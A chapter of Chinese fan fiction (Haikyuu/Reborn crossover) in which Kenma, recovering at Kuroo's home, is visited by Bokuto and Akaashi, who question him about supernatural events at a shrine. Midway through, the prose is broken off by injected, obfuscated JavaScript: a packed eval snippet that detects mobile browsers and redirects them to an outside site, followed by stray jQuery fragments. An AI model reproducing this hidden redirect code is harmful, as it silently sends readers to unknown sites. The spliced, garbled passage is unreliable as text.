20.拯救世界第二十天
作品:《孤爪研磨今天也在被迫拯救世界[家教+排球]》 门锁转动的声音在突然安静下来的空气里格外清晰。
门被拉开一道缝隙,黑尾高大的身影恰到好处地堵住了大半入口,几乎把整个门框都占满了。
研磨靠在窗边,能感觉到背后窗台的凉意透过薄薄的衣衫渗进来。开门的声音让他本就疲惫的神经又绷紧了些。
转身透过那道窄缝,研磨只能看到客厅沙发的一角和茶几边缘。他听见黑尾用一种努力显得轻松,但尾音却带着一丝难以察觉的紧绷语调说:“哟,木兔,赤苇。研磨刚出院,他爸妈今天就要离开东京了,没人照顾研磨,我就把他接我这边来了。”
“我就猜到他肯定在你这里。”木兔光太郎那张永远洋溢着过剩热力的脸立刻挤了进来,带着点“我猜对了”的小得意。
在木兔侧身钻进玄关的时候,研磨也从卧室里走了出来。
“研磨,”看到研磨苍白的脸,木兔脸上的兴奋瞬间被担忧取代。他几步走近,“还是很不舒服吗?头还疼得厉害?”
“你看上去……脸色好差。”
研磨摇了摇头。
那些惊心动魄的伤痕和血迹,甚至战斗后衣衫的凌乱,都被六道骸那强大得近乎蛮横的幻术抹除得不留一丝痕迹,仿佛从未发生过。
可精神上被反复撕裂的疲惫,情绪剧烈颠簸后的虚脱,以及幻境中无数次濒临湮灭的冰冷触感,却如同无形的刻刀,深深凿刻在他身体的每一寸姿态里。他整个人倚靠着沙发才勉强支撑着身体的重量。
面对木兔直白热切的关心,他小声说道:“……还好。”
赤苇跟在木兔身后走了进来,
“我和木兔前辈顺路买了些吃的。”他从袋子里拿出一个温热的饭团,递向研磨,“刚出院需要补充体力,吃点东西或许能舒服些。”
研磨沉默地接过那个温热的饭团。塑料包装传递来的暖意,让他冰冷的手指感到一丝微弱的慰藉。他低头看着饭团,鼻尖萦绕着米饭和海苔的香气,这平凡的滋味此刻竟让他有些鼻酸。
“……谢谢。”他低声道。
小小的客厅很快被四人填满,围坐在矮桌旁显得略有些拥挤。
木兔已经迫不及待地拆开另一袋零食。
“来来来,快尝尝这个!”木兔献宝似的将几盒抹茶蕨饼推到桌子中央,脸上洋溢着纯粹的分享喜悦,“这个是我和赤苇排了好久队才买到的!这家店的抹茶蕨饼,超级好吃!排到我们的时候差点就卖光了……”他开始喋喋不休地讲述排队时的趣事。
窗外,午后的阳光慵懒地斜照进来,在地板上拖出长长的温暖的光斑。房间里弥漫着点心的甜糯香气,还有黑尾家常用的带着淡淡柠檬清香的清洁剂气味。
赤苇安静地拿起一块蕨饼,小口品尝着,动作斯文而专注。
木兔则一边大口塞着可乐饼,一边挥舞着手臂,唾沫横飞地描述着他构思出来的新扣球路线:“……然后就这样!砰!”
他做了一个夸张的斜线挥臂动作,身体都跟着前倾,“从三米线直接打斜线小角度,又快速又刁钻!让球擦着对方拦网的手指尖过去!绝对没人能拦住,黑尾你也不行!”
他脸上洋溢着绝对的自信光芒,仿佛已经看到排球应声砸在对方场地界内的精彩瞬间,眼睛亮晶晶地看向黑尾。
黑尾挑挑眉,习惯性地泼冷水,紧绷的肩膀似乎在这熟悉的斗嘴中松弛了几分:“哈?又在做白日梦了?就你这路线,接球稍微好点的自由人闭着眼都能防住。”他拿起一个可乐饼咬了一大口,语带戏谑,“我闭着眼睛都能给你拦得死死的。你那点小伎俩,我早看穿了。”
他咀嚼食物的间隙,目光总是不自觉地瞟向一旁的研磨。
研磨低着头,他刚吃完小饭团,手里捧着刚拿起来的温热的抹茶蕨饼。他用指尖捏起一小块,送入口中。
清苦的抹茶粉在舌尖化开,随即被红豆沙的微甜中和,软糯的口感带来一丝真实的慰藉。
他慢慢地咀嚼着,仿佛要把这份属于“正常生活”的平凡滋味,一丝一缕地刻进被恐惧和混乱侵蚀的心里,贪婪地汲取着这份短暂的平静。
他的目光在三位朋友脸上缓缓移动……
这份触手可及的日常,此刻在研磨眼中显得如此珍贵,又如此脆弱,仿佛一个轻轻触碰就会碎裂的琉璃梦境。
他心中涌起一股混杂着深切眷恋与冰冷恐惧的复杂情绪。
还能回去吗?
一个声音在心底低语。
回到那个只有晨跑时的喘息、训练馆的地板气味、游戏通关的提示音、还有角落售货机里冰凉咖喱包的日子?
那些曾被他视为麻烦的喧嚣,此刻却成了遥不可及的奢侈品。
手腕上那条银链紧贴着皮肤,带来一丝微弱的凉意和熟悉感,像一根将他拉回现实的线,却又同时提醒着他身上背负的沉重枷锁。
哪怕他现在已经逐渐接受他身上经历的这一切,可如果让他选择……
如果……如果当初没有玩那款游戏……没有收到那个快递……
这个念头如同毒蛇般缠绕上来,带来一阵尖锐的后悔。
但随即,纲吉那双温和却充满疲惫的眼眸,在神社崩塌时燃烧着决绝光芒的背影,以及指环里那份沉甸甸的存在感,又压过了这份悔意。
他做不到抛下这一切,做不到假装看不见那个沉睡的灵魂和即将到来的风暴。
“研磨?”赤苇敏锐地注意到研磨盯着手里吃了一半的蕨饼出神,他的咀嚼动作早已停止,指腹无意识地反复摩挲着腕上的银链,眼神空洞地望着桌面,仿佛灵魂已经飘向了某个遥远而黑暗的地方。
“不合胃口么?还是身体哪里不舒服?”
赤苇的声音很轻,这声音对于精神还未彻底放松,正沉浸在自己纷乱思绪中的研磨来说,如同惊雷。
他猛地一颤,带着一丝猝不及防的慌乱和窘迫。
“啊?没……”研磨几乎是本能地否认,声音带着一丝不易察觉的惊跳。
他下意识地将手里剩下的小半块蕨饼囫囵塞进嘴里,仿佛这个吞咽的动作能堵住内心的波澜,也能掩盖刚才瞬间的失态。
“咳咳,咳咳咳!”动作太过急切,软糯的蕨饼瞬间卡在了喉咙,强烈的异物感和窒息感猛地攫住他,他剧烈地呛咳起来,脸颊瞬间涨得通红,生理性的泪水不受控制地涌上眼眶。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010596|175876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“喂喂!慢点吃啊,研磨!”木兔焦急地问着“没事吧?”
赤苇递上了纸巾,黑尾迅速抄起手边的牛奶杯塞到研磨手里,他脸上是又好气又好笑,但眼底深处是藏不住的担忧,“又没人跟你抢,急什么?”他一边说,一边拍着研磨单薄的后背,试图帮他顺气。
研磨狼狈地接过冰凉的杯子,咕咚咕咚灌了好几大口,才勉强将那口噎住的点心顺了下去。
他胸口起伏不定,眼角咳得通红,额角渗出细密的冷汗,整个人如同刚从水里捞出来一样虚脱无力,靠在沙发上微微颤抖。
一阵小小的忙乱和关切的询问声后,房间里再次安静下来,只剩下研磨尚未平复的、略显急促的呼吸声,以及一种难以言喻的沉重感。
木兔早已停下了关于扣球的激情演说。他看着正倚在沙发上脸色白的不正常的研磨,又看看旁边虽然掩饰得好但眼底同样写满疲惫、眉头微锁的黑尾,脸上的兴奋彻底褪去,换上了一丝前所未有的困惑和认真。
他敏锐地感觉到,面前的两个好友状态有些不对劲。
说起来,神社那日,他们两个也很奇怪……
木兔抓了抓自己那头标志性的头发,似乎在努力组织着语言,思考着如何表达心中盘旋已久的问题。
“那个……研磨,黑尾……”木兔的声音不自觉地压低了些,带着点犹豫,但更多的是坦诚,他目光在两人之间来回扫视,“其实……从神社回来这两天,我晚上总会做那个梦……”
“就是…那个……突然出现的会发光的大网。”他用手比划着,在空中划出一个半圆的弧度,“‘唰’地一下就把我们头顶盖住了,挡住了那些掉下来的大石头!”他的描述带着一种后怕和不可思议。
“还有黑尾你,”他转向黑尾,眼神里充满了纯粹的惊奇和探究,指着黑尾的手腕,“手腕上突然飞出去的那些……会冒火星的圈圈?”
他模仿着当时看到的情景,手指在空中画着圈,“‘嗤啦’一声,然后‘砰’的一下!”他做了个爆炸的手势,“就把砸下来的大石头炸开了!太厉害了!”
木兔的声音因激动而略微拔高,充满了巨大的好奇和一种想要解开谜题的迫切,“那到底是什么啊?你们竟然有那么神奇的东西!我实在是太好奇了!”
刚刚艰难重新聚拢的那点带着食物香气的烟火气,被这直白而精准的疑问彻底击碎,荡然无存。
房间里只剩下木兔的话语在回荡,以及骤然变得沉重的呼吸声。
黑尾和研磨的身体同时僵硬了。黑尾脸上的笑意凝固在嘴角,捏着可乐饼的手指微微收紧。研磨则感觉喉咙梗塞,似乎比刚才噎住时更甚百倍,让他几乎无法呼吸。
他最害怕的时刻,终究还是来了。
要撒谎吗?编造一个谎言?或者干脆否认?这个念头在研磨脑海中疯狂打转。
然而,看着木兔那双澄澈的、毫无保留地写满信任和求知欲的眼睛,看着赤苇那虽然平静却带着同样意味的视线。
一股巨大的无力感瞬间席卷了他的四肢百骸。
他感到一阵眩晕,撒谎的念头在如此坦诚的目光下显得如此卑鄙和不堪。